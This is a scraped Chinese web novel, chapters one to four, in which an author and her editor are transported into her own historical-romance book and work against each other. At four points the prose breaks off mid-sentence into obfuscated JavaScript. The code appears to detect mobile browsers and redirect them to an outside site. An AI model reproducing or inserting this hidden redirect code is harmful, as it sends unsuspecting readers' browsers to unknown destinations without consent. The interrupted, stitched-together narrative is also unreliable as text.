《文被鲨后我和编辑一起穿书了》 1. 和编辑一起穿书了? 开鸿四十九年,阳春三月,惠风和畅。兴盛于名门世家的百花宴,今年于当朝一品太傅展五德的府邸举办。 朱漆铜环,府门大开,府内庭院深深,百花盛开,如云似雪,铺满枝头,仿若置于仙境。 前院里热闹非常,而此刻在后院的雕花木门后,展颜一脸愁容,纤纤指扒着门框,细眉微蹙,思虑着该如何让她的长姐展清梦和兵部尚书嫡子祁泽川拥有一个美好到永生难忘的初遇场景。 自三天前王子涵穿越到自己写的书里,成为了《男女主不想谈恋爱》中女主展清梦的庶妹,恶毒女配展颜后,她就接到了系统给出的主线任务“让男女主在一起”,声称只有完成主线任务才能回到现实世界。 这本书是王子涵写的第一本be长篇,书中的男女主展清梦同祁泽川相识相知,逐渐两情相悦,最后爱得轰轰烈烈。 但到头来两人却中了祁泽川的庶弟祁浮生和三皇子傅朝尘的阴谋,祁泽川在同傅朝尘战役中战死,展清梦为了给他报仇,哄骗恋慕自己的祁浮生带其入宫,手刃了傅朝尘,随后自刎。 看来是要改变结局让男女主谈上甜甜的恋爱。 这不正好撞在了枪口上,毕竟王子涵的玛丽苏甜宠短篇是已经写到了出神入化的程度。 算算时间,百花宴就是她给原书男女主安排的初遇场景,原书里男女主的初遇并不算美好,实可谓是一片混乱,最后闹得鸡犬不宁。也因此,女主展清梦对男主祁泽川的印象不深,甚至是不太好。 展颜决定改变剧情的走向,毕竟赶紧从书里出去才是现下顶顶重要的大事。 “系统系统!”展颜躲在门后小声地呼喊着系统。 叮—— 展颜的脑海里发出声响,系统出声:“01宿主你好,请问有什么请求?” 展颜焦急,边盯着前院的动静边开口道:“我要改变一次剧情。” “只有三次改变剧情的机会,宿主是否想清楚?” “想清楚了。”展颜回答道,余光看见展清梦在丫鬟的簇拥下,满面温柔地出了后院向前院走去。 果然,展颜往展清梦的发髻间看去,她的那支宝贝梨花玉簪已经消失不见了。 原书就是因为这支不慎丢失的玉簪令展清梦坠入了舆论漩涡。 祁泽川作为少年武将,是个直愣愣的性子,在百花宴上捡到展清梦的发簪后,竟直接在大庭广众下找起了簪子的失主。作为未出阁的女儿家,贴身儿的簪子丢了,还出现在了外男的手里,不用想,对展清梦的清白名声影响有多大。 当初王子涵图方便,文章里只写了祁泽川捡到展清梦的发簪,没有写具体地点,导致她现在只能靠改变剧情来找簪子,王子涵真的想给当初的自己一个大比兜,怎么这么能偷懒。 “我希望展清梦丢失的簪子现在在我的手里。”展颜悄声说。 “好的,满足01宿主请求。”系统道。 只听咣当一声轻响,一根雕刻着梨花的白玉簪从一边的书案下滚出来,停在展颜脚边。 没错!就是这个! 展颜俯身捡起玉簪,如释重负,宝贝簪子哎别跑了,你亲娘的命运可就掌握在你的手里了。 “二姑娘,百花宴要开始了,您准备好了吗?”展颜的丫鬟秋果蹦哒着进了屋子。 自从三日前她家姑娘高烧过后就像换了个人似的,性子相比从前和顺了好多。 秋果觉得原先二姑娘只是脸蛋长得好,但是性子实在娇蛮任性了些,时时同大姑娘争这抢那的,导致除了老爷夫人和大姑娘外,大家暗地里都不太喜欢这个庶出的展二姑娘。 如今二姑娘是温柔的性子配上漂亮的脸蛋,属实是美上加美,秋果觉得比上大姑娘,自家二姑娘是要好看许多的。 “准备好了!”展颜慌张地将玉簪收起来,往脸上添上了点胭脂。 铜镜里,不同于展清梦的清纯可人,展颜的一对细眉微蹙,一双狐狸眼睫毛浓密,朱唇小巧,虽然只有二八芳华,但是近乎妖艳的美人坯子长相是已经藏不住了。 展颜不自觉地盯着铜镜里的这张脸,原来自己书里一笔带过的恶毒女配长得如此好看,能用上这张脸,她觉得这次穿越好像也不是那么亏了。 可自己书里的女配偏偏用不好自己这张绝美的小脸蛋,总是化着浓妆,生怕别人不知道她内心的恶毒似的。展颜嘴角微勾,可如今是她占了这具身子,自然不会让这种事情再次发生。 一身素青色的衣袍,配上淡淡的妆容,展颜为自己点了一个大大的赞。 手里攥着玉簪,展颜跟着秋果抬脚往前院走去,手心紧张得冒汗,第一次干预剧情,说实话还是有些紧张的。 “秋果,今日兵部尚书嫡子祁泽川在哪里落座?”展颜俏生生地问道,音色悦耳。 “姑娘!”秋果一声嗔怪的惊叫,属实是把展颜吓了一跳,“你怎还念着祁家的嫡公子呢!” 二姑娘这次发烧就是因为在湖边看凯旋的少年将军祁泽川不小心落入了湖里,没错,在展清梦和祁泽川相遇之前,展颜就已经和祁泽川有过一面之缘了,也是那次在湖边的匆匆一眼,让展颜对翩翩的祁家嫡子念念不忘。 也是这一眼,让展颜更加痛恨上了自己的长姐,凭什么她先认识爱慕上的人,最后又属于了展清梦! “就问问嘛,我……我不会去找他的……”展颜有些心虚,话也说得结巴了起来,才怪,她等会儿就要去找祁泽川,不仅要找,还要把他“教育”一番。 “祁家会在前院的东边落座,这会子大抵是已经到了。”秋果见姑娘承诺不会再找祁家公子,便放心地说了。 眼珠子滴溜一转,东边是吧,那她从关雎院那边过去,说不定就能暗地里找到机会单独见祁泽川。 展颜瞥了秋果一眼,脚步一顿,立马弯下款款的腰肢,捂住小腹:“哎呦!秋果啊,我这肚子突然疼得厉害,许是今日早膳吃多了,我去趟茅房,你先去啊!你先去!” 根本等不到秋果反应过来,展颜已经跑远了,秋果喊道:“姑娘你真没事吗!” 可展颜已经跑没了影。 “不对呀,姑娘今日不是没有吃早膳吗?”秋果挠挠头,稀里糊涂地听着姑娘的话,先行去了前院。 关雎院寂寥,人都已经聚在了前院,展颜脚步轻轻,在院墙后悄悄探出半个脑袋。 要认出祁泽川实在不算难,人群里最打眼的那个就是。 毕竟刚刚凯旋回京,又得圣上青睐,恭贺攀附的人自然多,一时间,光风霁月的少年郎身边皆是敬酒的官人,当然,也定是少不了远远频繁侧目的许多赏花管家小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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展颜俯身欲捡,却被祁浮生抢了先,他手长,先一步捡起了玉簪。 “这玉簪怎么会在你手里!”祁浮生面色惊讶,质问展颜。 “这是我的,怎么不能在我手里!”展颜为了簪子可谓是豁出去了,一把抓住玉簪的另一头,和祁浮生硬生生地抢夺了起来。 “这明明是展清梦的!”祁浮生力气大,将玉簪拔过去几寸。 “放狗屁!”玉簪差点脱手,展颜气急败坏。 “你胡搅蛮缠!” “你无理无闹!” …… 一时间二人僵持不下,可是越拉扯,展颜越觉得这个场景过于熟悉了,直到祁浮生喊出了那句话。 “你这个女配好好为自己积德吧,还想着害人!” 展颜:“?” 啥?他刚刚说什么,女……配? 展颜难以置信地盯着祁浮生的眼睛,试探着启齿:“奇...奇迹再现?” 祁浮生闻言愣住,手下一松眉梢一挑道:“王子涵?” 好家伙,和自己的编辑一起穿书了是怎么一回事,展颜愣住。 2. 都是你的错 三日前,王子涵盯着电脑频幕,却等来了自己第一篇长篇be文《男女主不想谈恋爱》的第十杀。 这次又是什么理由!? 王子涵百思不得其解,十杀!那可是十杀啊!知道这对一个被奉为甜宠文短篇之神的作者来说是多么大的打击吗? 便是那天上来的菩萨金仙说话也不好使了,她今日定要去面基这个杀了她十次文章,ID叫“奇迹再现”的编辑问个明白。 王子涵带着电脑便直接冲到了约定好的咖啡馆。 “谁是‘奇迹再现’,负责《男女主不想谈恋爱》的!”王子涵道。 此言一出,咖啡馆里顿时一片寂静,角落一个戴着金丝框眼镜的人像是被她的气势震慑到,颤巍着举起手,编辑祁季开口道:“我。” “这次杀我的文章又是什么原因!”王子涵将他拉到一个没人的楼梯间,打开自己的笔记本电脑,举到祁季面前质问道。 “这次是女配人设逻辑不对,死法过于惨烈了。”祁季推了推鼻梁上架着的眼镜,笑着说道。 笑起来的时候阳光开朗,微微露出两颗虎牙,要不是王子涵现在对他怀有“坏人”滤镜,也会觉得他长的还可以吧。 可是现在这两颗虎牙在她眼里也是罪恶至极。 “但是她干了很多坏事,虐着不是更爽吗。”王子涵反驳。 “你又把你的甜宠短篇思路灌到长篇be里来了,长篇要讲究逻辑。”祁季勾起嘴角,无奈地摇着头。 “男女感情线还是太突兀,甜起来的速度快到可怕,不符合直愣愣纯情将军和温婉贤淑官家小姐的人物设定,be结局为虐而虐,还有你的文章太平淡没有什么亮点,比如说最近的热梗可以加一点呀,什么金手指系统啊……”祁季道,拿过电脑在最后打上“金手指系统”五个字。 他还在滔滔不绝,却没发觉身边的王子涵脸越来越黑。 “总而言之,言而总之,”祁季下了定论,“你不适合写长篇be,好好写你的甜宠短篇去吧。” 王子涵长舒一口气,前面的她都能接受都能忍,但这最后一句话是什么意思。 “切。”她有些不服气地想要拿回自己的电脑,轻声叨叨道,“不过就不过嘛,干嘛否定我的努力。” 可是扯了半天却扯不回来,只见祁季好似还要与她讲述一些关于男女主谈恋爱的进度见解。 “你还我。” “这个地方——” “不听了。” “别呀——” 在之后发生的事可想而知,电脑摔在了地上,白光一闪,两人双双穿进了书里。 关雎院的一间闲置客房里,展颜和祁浮生对完“口供”之后,大眼瞪小眼地看着对方。 “就是这样喽,我一睁开眼就成了祁浮生,然后也接到了系统让男女主在一起的主线任务提示。”祁浮生看着展颜一脸无奈道。 “哎,虽然我知道祁浮生不受他爹喜爱,但我还是想问问你脑子里的祁浮生究竟是什么样的存在。”祁浮生似笑非笑地开口,实在是不解。 “为什么我就只是穿过来了三天就已经被我那个兵部尚书老爹打了两顿,还被罚跪了一晚上的祠堂,我现下的膝盖还青着呢。” “啊?”展颜闻言,有些心虚,故意抬起头躲开他的视线。 还是一样,她懒到只写了一句话交代祁浮生的童年背景,因是庶出又身体病弱不易习武,自幼不受家里重视,羡慕长兄可以出关为将,受尽冷淡成为病娇,唯独得到展清梦笑脸相待的男二。 她这个作者好像也对这个男二的儿时经历理解得囫囵吞枣一般。 “咳咳……”展颜岔开话题,装出一脸气呼呼的模样,反而怪起了他,“要不是你写什么金手指系统的,我们怎么会穿进书里?”鼓着的腮帮显得脸圆圆的。 “哈?”祁浮生被她这话激到险些跳脚,无辜得很,“你要是不写什么《男女主不想谈恋爱》我们怎么会穿进来?” “打住!我现在不想和你拌嘴。”展颜闭上眼摆了摆左手,右手揉着胀疼的太阳穴。 了解了许多,好在现在有一个好消息,就是展颜之后不用再孤军奋战,也不用再时刻提防着这个最后会把她“卖”了的病娇男二。 “行行行。”祁浮生的语气里带着笑,本应该摆着原主一张活人微死表情的脸上,此刻却明媚得很。 展颜睁眼看着面前的祁浮生,病娇男二虽不及男主那个真命天子般惹人爱,但是也同她笔下的每个配角一样俊得很。 祁浮生的脸清瘦,一双丹凤眼蛊惑人心,眼尾的泪痣点得恰到好处,他还未及冠,没有束发,只是将两鬓边的头发梳起两缕小辫,理到脑后用几个小银扣子理着,防止其散开。 要不是展颜是作者,又怎敢相信坐在自己面前的原主,会是一个两面三刀,病娇心狠的人,最后硬生生是成了…… 聊偏了,展颜拉回话题。 “你今日怎会在关雎院里?那可是展清梦的院子。”展颜道,觉得讲得有些口干,拿起桌上的杯盏倒了两杯茶。 “谢谢。”祁浮生接过展颜递过来的茶杯开口道,“我也不知道,我感觉有些时候我的行为好像会不受控制,比如说当时我的好大爹第一次想打我的时候我想反抗来着,结果背上好像被一股力量压制住了,跪着怎么都起不来。” 一口气喝完一杯茶,祁浮生继续说:“然后就是这次,我跟着我的好大爹和好大哥一同到了展太傅的府邸之后,脚下好像就又不受控制了,东躲西藏地到了这个院子里。对了!” 祁浮生一拍脑门:“我就在那个院子的一棵树下面捡到了展清梦的那根簪子,结果你猜怎么着?” “怎么着?”展颜端着茶杯抿下一口。 “那个簪子就在我的眼皮子底下不见了!后来我就看见你了,还有你手里的玉簪。” “噗——咳咳咳。”展颜被他这句话呛到了。 显而易见,玉簪之所以不见是被她动用系统拿走了。可是为什么祁浮生这么震惊,难不成? “系统除了告诉你完成主线任务以外,还有没有说其他东西?”展颜试探开口。 “没有啊。”祁浮生一脸懵得看着展颜。 果然。 那就是只有她知道这个金手指,展颜想着,为什么系统要这样安排,思考一瞬她决定先不告诉祁浮生这件事情。 “所以你打算怎么做。”展颜道。 “当时我拿着那个簪子就想着绝对不能让它到祁泽川手里,不然我大哥那个二愣子肯定又会名场面再现。”祁浮生摇摇头,仿佛看见了祁泽川拿着簪子问失主的名场面。 “那不成,我觉得应该把簪子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哎,不用自谦,你担得起!”展五德拍了拍祁泽川的背道。 “哎呦——”从后院通往前院的小径方向传来一声痛哭的哀叫。 展颜跑得急,脚下一个没踩稳,早不摔晚不摔,偏偏摔在了众人面前。 “哎呦小宝哎。”展太傅见自己的宝贝小女儿摔着了,比秋果的速度还快,将展颜扶起来。 “让爹看看,可有摔到哪里。”展五德一脸疼惜。 这展五德是出了名的宠女儿,一辈子只娶了一妻一妾,只得了两个宝贝女儿,看得却比金疙瘩还紧。 尤其是对这个小女儿,只因展家二姑娘自小失了母亲,展五德自觉亏欠,便对其更娇惯了些。 要说展颜觉得自己书里哪个bug最离谱,估计就是这个了,得这父亲宠爱,继母挂怀还有长姐的关心,最终却变成了个恶毒性子,害得全家人跟着遭了殃。 等我穿回去了一定改设定,展颜发誓。 “不疼的爹爹。”展颜坚强站起身,在展五德面前转了一圈,这才让他放下心来。 “好,那你先去女眷席吧,注意着些脚下,莫要再摔了。”展五德再三叮嘱道。 展颜应道,眼神却偷偷瞥向祁泽川,只见他正一脸笑容地望着自己,兄长感浓重。 “见过祁伯伯,祁大公子,那……展颜先走了。”展颜道,死脑子快想啊,怎么单独见祁泽川啊,展颜面上不显,心里欲哭无泪。 “将军!” 就在这当口,有人从前门急急跑进来:“将军,您的马长岁突然像疯了一般,属下不敢轻举妄动,您快去武场看看。” 什么情况?这就要走了,她书里不是这么写的啊? 展颜愣住,哪里出了问题? 3. 计划失败 可谓是兵来将挡,水来土掩,既然剧情改了,那展颜便见招拆招。 眼看着祁泽川出了展府,展颜便一个掉头去了女眷席,央着长姐展清梦陪着自己去武场骑马玩。 原书里展清梦便是一直将展颜当作亲妹妹看,直到展颜害了全家上下,才彻底醒悟过来自己的这个庶妹是个害人的精。 自然,这次也不出意外,展清梦自然是笑着答应了展颜。 “阿颜等会儿骑马的时候定要当心,莫要摔了。”到了武场,展清梦担心地叮嘱展颜,眉头微蹙,绞着手里的一方帕子。 “阿姐放心!”展颜拍拍胸脯保证道,“阿姐你坐在这先休息,我去马厩里选匹小马驹。” 说罢,亲眼看着展清梦坐下,展颜这才放心地跑去了马厩。 刚拐过房角,就见祁泽川骑在一匹健壮的高高黑马之上。 “祁大公子!”展颜唤道,向着祁泽川跑过去。 “展二姑娘”祁泽川回头瞧过来,见是展颜欲下马,“展二姑娘何以来武场?” “不用不用。”展颜制止了祁泽川下马的动作,从袖子里取出白玉簪递给祁泽川,“祁公子,我长话短说,这是家姐的白玉簪,祁公子等会儿骑着马,在武场上策马一圈,再将这个玉簪归还给等在武场边的家姐即可。” 计划有变,为了保证相遇的浪漫场景化,现下也只能是简单粗暴,没有花瓣作陪,那便换作展现一下男主的英姿飒爽。 祁泽川一脸不解道:“展大姑娘的白玉簪为何要祁某奉还,祁某实在不解,还请二姑娘指教一二。” 展颜不怪祁泽川,只因其一她的请求来得突然且莫名其妙,其二,毕竟是她把他写得如此不解风情。 “祁大公子,展颜不会害你的,你尽管——” “呦——” 展颜还没有说完的话被一声调戏般的语气硬生生打断,来人没有想让她把话说完的意思。 只见祁浮生骑着一匹白马勒停在自家大哥身边,一脸戏谑地看着展颜。 他什么时候来的?展颜对着祁浮生挤眉弄眼,但对方却故意不看。 这是来阻止她的计划来了? 祁浮生骑着马慢悠悠踱步到大哥边上,趁着祁泽川愣神的空当,手一挑将白玉簪夺到了自己手里。 “大哥这才刚回京,就收上官家小姐的定情信物了?”祁浮生将簪子对着光端详着,表面上看着是羡慕非常,但展颜能听得出他话语里的势在必得。 “浮生莫要开如此玩笑。”祁泽川眉头微皱,觉得祁浮生这句话有失礼数,轻声怪道。 “哎呀,大哥真是受人欢迎,让浮生,好、生、羡、慕。” 展颜见祁浮生的手指碾了碾玉簪。呦呵呵,这病娇感还给他演起来了。 她看着在祁浮生手指间生死难料,仿佛随时都会粉身碎骨的玉簪,心都提到了嗓子眼。 既然你要演,那也别怪我了,展颜将女儿的绿茶体质发挥到极致,眼尾一下子就发红了起来,眼泪水也在一瞬间溢满眼眶。 “祁大哥,颜儿也不是不愿意祁二公子拿着姐姐的玉簪看,只是玉簪本脆弱,还望祁二公子轻拿轻放。” 语罢,展颜泪眼楚楚地看着立于黑马之上的祁泽川,专门找好一个角度,让祁泽川看见了她眼角因“焦急”而滑落的泪珠。 展颜作着,起了一身的鸡皮疙瘩,我的老天爷,这个茶味也太冲了。 “浮生,将簪子还给展二姑娘,莫要任性!”祁泽川见展颜的委屈模样,赶忙道。 展颜却见祁浮生笑容更甚,一言不发地将簪子抛还给祁泽川,就勒马往后退了几步。 本以为他让步了,一切又将步入正轨,展颜却见祁泽川接触到簪子的那一瞬如触电一般一把松开。 玉簪脱手,就这样直直往下坠,触碰到了长岁的前腿。 “嘶——” 黑马发出一声痛苦的嘶鸣,受惊般地抬起前腿,随后一阵乱踏。 什么情况? 完了!簪子! 只听混乱之中一声清脆的碎裂声,展颜瞳仁骤缩,玉簪碎了。 长岁缓过神,一时腾起的尘土散去后,展颜看到地上已经醉成几段的玉簪,只觉得脑瓜子嗡的一声响,登时五雷轰顶。 展颜蹲下身去捡碎簪,指尖却在触到簪身时一阵刺痛,全身如过电般发麻。 她惊叫一声,腿一软直直摔坐在了地上。 这是……刺麻散?! 在武场边的展清梦见妹妹迟迟不来,实在心里煎熬便起身前去马厩寻找,刚到便看到了这一幕。 自己的妹妹展颜摔坐在地上,前头是两个少年骑着一黑一白两匹马,活像黑白无常。 急上心头,展清梦哪还有脑子去思虑事情原委,当即就认定是自家妹妹受了欺负,这她怎能忍,直接提起裙角就冲到展颜身侧。 “阿颜可是受欺负了,别怕,阿姐在。”展清梦柔声安慰着尚在惊惧盯着断簪的展颜,轻轻捧过她的脸。 “阿姐……”展颜的声音细若蚊蝇,她无措地望着展清梦的脸庞。 乱套了,一切都乱套了。 “阿姐……簪子……碎了。”展颜懵懵的,一双眼眸里现下是真真的难过,水雾蒙了眼。 展清梦顺着展颜手指的方向看过去,粗沙地上静静躺着她一早丢失了的梨花簪,展清梦眉头一皱。 完了,展清梦是生气了,展颜暗叫不好。 可谁知。 “两位公子当真是不知礼数,青天白日之下欺负一个手无缚鸡之力的小姑娘,可还知什么叫作礼义廉耻!” 展清梦将展颜扶起,护在了身后,面上神色锐利,说话铿锵有力,紧盯着为首的祁泽川。 展颜瞠目结舌。 展清梦虽然身子薄弱,但展颜却觉着此刻被展清梦护在身后踏实得很。 祁泽川在瞧见展清梦的那一刻眼神一愣,用展颜的话来说,可以用一个“痴”字形容。 “展大姑娘误会,祁某并非——” 祁泽川翻身下马,上前一步正欲赔礼道歉。 展清梦伸出手将他止于一步开外。 “祁小将军无需解释,我更愿意相信我亲眼看见和听见的。”展清梦面色冷淡道。 一人为阿妹讨公道,一人为自己乞谅解。 展颜越过展清梦的肩头,恰恰好与仍然骑在马上的祁浮生对上视线。 他一脸笑意,对上展颜的目光,挑了挑眉,右手向前微微举起,打了一个响指,登时,阳光下细微的白色粉末纷飞。 ?……! 她就知道是这个家伙! 展颜的后槽牙都要咬碎了,定是祁浮生拿到玉簪时,在簪子上抹了刺麻散。 刺麻散是一种内服麻醉药,白色粉末状态溶于水无色无味,但若是直接触碰到固体粉末,则会产生刺痛,引起全身一瞬麻痹。 这也是方才为何祁泽川簪子脱手,长岁被惊。 “我本以为祁家大公子如世人口中那般玉堂金马,温润而泽,可如今在清梦看来,不过就是个欺负姑娘的伪君子罢了。”展清梦说罢转身,拉上展颜的手。 “阿颜莫怕,阿姐带你回家。”展清梦道。 “这……情况不是这样的阿姐。”展颜被展清梦拉着往外走,一步一回头,想要挽回如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467505|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个又走向原剧情的结局。 展清梦拉着展颜上了展府马车。 马车的车轱辘开始滚动起来,马车有些颠簸,展颜撩开车帘往外望,眼睁睁地看着武场离得越来越远。 啊啊啊! 初印象还是没有变!展清梦和祁泽川的相遇还是这样的离谱抓马! 展颜心里跟有猫挠似的,面上表情是又无语、又苦恼、又遗憾。 展清梦观察着展颜的状态,一番深思熟虑后,拉过展颜的手轻轻握住,开口道:“阿颜乖,阿姐知道你心悦祁家大公子,但是你听阿姐一声劝,此人并非良配。” 不是的啊,我的大女主,他可是你最好的良配了! 展颜欲哭无泪,面上不显,只是苦笑。 “提示01宿主,男女主目前好感度-10%”系统音在展颜脑海里响起。 祁浮生!你完了! 展颜恶狠狠地想,下次在我改剧情的时候,别让我再看见你! *** 张开双眼之前,祁季只觉得背上疼得要死。 他趴在榻上,意识逐渐清醒。 “嘶——痛死了。”祁季睁开眼,右手绕道身后抚上背,细密的疼让他不禁皱眉。 “02宿主已苏醒。”系统的声音在祁季的脑海里响起。 “谁!”祁季吃惊,想要环顾四周,找寻声音的来源。 却见蜜合色的帷幔拢着床榻,床前的桌案上摆着的香炉点着安神香,床对面房间最远处是一书案,上头是笔墨纸砚…… 祁季收回目光,我还没有睡醒,再睡一—— “哎呦——”他惨叫一声,本想翻个身却被疼到一声哀嚎。 “02宿主欢迎来到《男女主不想拿谈恋爱》,宿主身份病娇男二祁浮生,完成主线任务回到现实世界,02宿主是否接受主线任务‘让男女主在一起’。”系统的声音再一次传来。 祁浮生?系统? 祁浮生眼前一黑,造孽呀,这是编辑生涯批了八百多本穿书文,最后终于轮到他了吗? “不接受。”祁浮生回答得干脆,反其道而行的脑洞是一个编辑应该具备的基本技能。 “好的,接收到02宿主的拒绝,接下来换为主线任务‘拯救展颜,改变其悲剧结局,令其自然死亡’。”这次系统没有等祁浮生的回应,继续道,“02宿主已没有选择余地,不接受任务将会被抹杀,叮——任务绑定成功。” 祁浮生:“?” 正觉着离谱,身上的疼痛感却奇迹般消失。 “开书福利,帮宿主免除疼痛一次。”系统道。 “你人还怪好。” “多谢02宿主反馈。” “……” 许是对文字特别的敏感,祁浮生问道:“02宿主,那还有一个01宿主吗,还是还有很多的人?是谁?” 双穿?还是多人穿书? “回答02宿主,有两位,其他的无可奉告。”系统道。 “另外一个人的主线任务是不是就是刚才的第一条。”祁浮生直起身,在床榻上盘腿而坐。 “……系统不知,无法回答02宿主。” “你犹豫了,撒谎了,那就是了。” 系统:“……” 祁浮生又找了一个舒适的位子躺下,思考一瞬眉头皱起。 “不对啊,那这两个任务极具有冲突,按照原书设定来改的话,若是男女主在一起了,那这个展颜的命运极大概率就是惨,但若是改变她的结局,那男女主……”祁浮生微微一顿,“你这是要我和另一个穿越者自相残杀啊。” “那就是宿主的事了。” 4. 醉花楼撮合计划1 *** 开鸿四十九年三月初三 今日又被父亲责罚打了十棍脊仗,只因为去给展姑娘□□日斋新出的糕点,错过了兄长凯旋回京的时辰。父亲只觉我误了正事,丢了门面。 父亲说我无用,不如长兄。我读过的兵法,学过的药理,父亲都不曾看见吗? 我不是没用的人,我只是还没找到机会证明自己。庶出又怎样?身弱又怎样?我一样可以得到我想要的。 开鸿四十九年三月初七 今日随父兄去了展府的百花宴,展祁两家交好,父亲有意与展家议亲,那展姑娘就会被大哥抢走了。不行。 我想偷偷去她的院子里看看她,问问前几日春日斋的糕点可还合胃口,但是没见着她人。 我在关雎院树下捡到了她的簪子,虽没见她戴过,但定然是她的。我本想还给她,但我又将簪子给了兄长,让他找失主。 兄长为人耿直,定会直言。 她的名声就会受到影响,那我这个庶子的身份,是不是也能配得上她了。 *** 日上三竿,展颜坐在床上兴奋地打开秋果偷摸带回来的烧鸡。登时,屋子里烧鸡的滋味隐隐飘香。 “好香啊,终于吃到荤腥了!”展颜边吃边感慨,激动到眼泪都要流下来。 这几日展清梦认为她在武场受了惊,又对自己的心上人滤镜破碎,怕她伤心,做出什么事情来,约束着不让她出门。 本因为之前发烧而规定的清淡饮食,硬生生从四日延长到七日。 “阿颜可醒了,阿姐来看看你。”展清梦的声音突然在门外响起,她轻轻叩了叩展颜的屋门。 屋内,展颜坐在床榻上吃烧鸡的动作猛得一顿,赶忙将手里才啃了一半的鸡腿包起来,塞到了床底下。 “醒了阿姐。”展颜咽下嘴里的烧鸡道,连忙盖好被子躺下。 门吱呀一声打开,展清梦端着一碗清粥迈进了屋子,展颜装模作样地坐起身。 “阿颜前几日受到了惊吓,这几日还是要吃的清淡些。还没有吃早膳吧,来喝碗粥。”说罢,坐在展颜的床榻边,将那碗清粥递到她面前。 “啊这……” 展颜在展清梦期待的目光里接过素淡的清粥,却迟迟没有下口,展清梦的手艺展颜实在是不敢受教,是属于煮粥米都容易不熟的那种。 “二姑娘这是何意。”许是展颜犹豫的样子过于明显,再加上大姑娘院子里的下人都不太喜她,站在展清梦身后的丫鬟夏荷眉头一皱,开了口,“这可是大姑娘一早上起来辛辛苦苦熬的。” “夏荷!怎可对主子无理,我平常是如何教你们的。”展清梦回头,训斥了夏荷一声。 “阿颜若是还不饿,就不用勉强自己。”展清梦笑着说,欲接过展颜手里的瓷碗。 “喝!怎么不喝!”豁出去了,展颜道。 心一狠,头一抬,碗一倾,脖子一梗,清粥下肚。 “阿颜慢些,不够膳房还有,莫急。” “咳咳咳——”展颜呛到。 还有? “阿姐,我吃饱了。”展颜将空碗递给站在床边的秋果,一脸真诚地看着展清梦。 “就吃这么一点怎么行?”展清梦眉头微蹙,上下打量着展颜,“你这几日都清瘦了。” 天天喝粥能不瘦吗?我好不容易吃一次烧鸡还被撞见。 展颜想着,却见展清梦微微停顿,望着她犹豫再三说道:“阿颜前几日是遇上什么开心的事了吗,与阿姐的话都多了许多。” 展清梦语罢微微一笑,令人如沐春风。 “开心的事?好似没有。”展颜回忆后如实道,从穿越过来就掉河里发高烧,到被祁浮生搞黄了计划,这一路颠簸得她都要开始怀疑人生了,哪还有什么开心的事情。 “这样啊。”展清梦观察着自家阿妹的神色,欲言又止。 “阿姐有什么事情不妨直说。” “也没什么。”展清梦拉过展颜放在身侧的手,“阿姐只是想说,这几日你跟阿姐说的话都变多了,阿姐心里很欢喜。” 展颜闻言一愣,心里竟生出些许愧疚情绪,深吸一口气。 “阿姐喜欢这样的阿颜,那阿颜以后就这般!”展颜语罢,回握住展清梦的手。 祁季虽然狗,但有句话没有说错,原主展颜的人设确实是不符合逻辑。 有这么一个善解人意,温柔的姐姐,谁会选择发疯啊!反正她不会。 “真的?”展清梦闻言,面露喜色道,“那阿颜以后有什么想说的,阿姐都愿意听,阿颜要多多同阿姐说道说道。若是遇到了什么难处,也同阿姐说,阿姐定会帮忙。” 定会帮忙吗? “阿姐……”展颜忍不住开口。 “嗯?” “我想吃烧鸡。”展颜已经快被屋子里隐隐约约飘来的香气馋晕乎了,眼巴巴地看着展清梦。 “好,阿姐这就给你去买,但是只可吃一点哦,说到烧鸡,阿姐竟也好像闻到了一点烧鸡的香味呢。”展清梦说道,笑着正准备起身。 “阿姐……不用麻烦了。”展颜有些犹豫地开口。 “嗯?” 展颜从床底掏出半只烧鸡,有点心虚地缓缓打开:“阿姐吃吗……” “……” 京城三月,春意正浓,虽不时吹些料峭春风,却也在回着暖。 街边的各式商铺也是陆续上了些春日里的新品,布庄上了新鲜纹样布料,香粉铺子也是新出了些时兴的花香香膏。 展颜央了展清梦许久,这才得以出门。一路上她挽着展清梦的胳膊,有意无意地将她领着往东街街角的如意茶馆走去。 今天出门的主要任务可不是闲逛。 原书里,展清梦和祁泽川的第二次相遇剧情就是在东街街口的如意茶馆。 如意茶馆的掌柜为了抢上春日里的第一批客源,不知道从哪里找来一个口技一绝的说书人,引得几乎全京城的人都赶着去看热闹。 展清梦虽在百花宴上损了些名声,但也是好奇得紧,便是戴了个帷帽前去听书。 谁知出门时正巧被展颜碰上,展颜心里起了歪心思,拉着自己的死党,暗地里跟着展清梦去了如意茶馆。 那日说的书有关于花前月下,展颜抓住机会借此发挥,想要再次折损展清梦,却正巧被同在茶馆里听书的祁泽川撞见。 祁泽川当众向展清梦道歉,向众人解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467506|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 